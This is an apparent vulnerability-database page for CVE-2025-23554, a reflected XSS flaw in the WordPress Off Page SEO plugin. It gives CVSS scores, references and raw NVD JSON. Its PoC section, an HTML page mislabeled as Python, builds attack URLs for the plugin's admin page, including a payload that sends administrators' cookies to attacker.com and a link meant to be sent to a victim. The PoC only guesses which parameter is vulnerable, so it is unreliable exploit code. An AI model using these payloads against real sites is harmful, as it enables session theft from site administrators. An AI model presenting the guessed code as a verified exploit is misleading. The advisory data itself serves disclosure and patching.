CVE-2025-23554

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jakub Glos Off Page SEO off-page-seo allows Reflected XSS.This issue affects Off Page SEO: from n/a through <= 3.0.3.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Off Page SEO插件 <= 3.0.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-23554 PoC - Reflected XSS in WordPress Off Page SEO Plugin -->
<!-- Target: WordPress site with Off Page SEO plugin <= 3.0.3 -->
<!-- Attack Type: Reflected XSS -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-23554 PoC</title>
</head>
<body>
    <h1>CVE-2025-23554 - Reflected XSS PoC</h1>
    <p>Target: WordPress with Off Page SEO plugin <= 3.0.3</p>
    
    <script>
    // Malicious URL that exploits the reflected XSS vulnerability
    // Replace 'TARGET_URL' with the vulnerable WordPress site URL
    
    const targetUrl = 'TARGET_URL';
    const maliciousScript = '<script>alert("XSS Vulnerable - CVE-2025-23554")</script>';
    
    // Construct the attack URL
    // The vulnerable parameter might be 'page', 'tab', 'action' or similar
    const attackUrl = `${targetUrl}/wp-admin/admin.php?page=off-page-seo&tab=${encodeURIComponent(maliciousScript)}`;
    
    console.log('Attack URL:', attackUrl);
    
    // Alternative PoC: Cookie stealing
    const cookieStealScript = `<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">`;
    const cookieAttackUrl = `${targetUrl}/wp-admin/admin.php?page=off-page-seo&tab=${encodeURIComponent(cookieStealScript)}`;
    
    console.log('Cookie Stealing URL:', cookieAttackUrl);
    </script>
    
    <!-- Example malicious link to be sent to victim -->
    <p>Malicious Link:</p>
    <a href="javascript:void(0)" onclick="alert('Send this link to admin: ' + attackUrl)">
        Generate Malicious URL
    </a>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-23554
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-23554
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-23554/
[4] VulDB https://vuldb.com/cve/CVE-2025-23554
[5] https://patchstack.com/database/Wordpress/Plugin/off-page-seo/vulnerability/wordpress-off-page-seo-plugin-3-0-3-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-23554", "sourceIdentifier": "[email protected]", "published": "2025-12-30T00:15:51.890", "lastModified": "2026-04-23T15:24:01.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jakub Glos Off Page SEO off-page-seo allows Reflected XSS.This issue affects Off Page SEO: from n/a through <= 3.0.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/off-page-seo/vulnerability/wordpress-off-page-seo-plugin-3-0-3-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}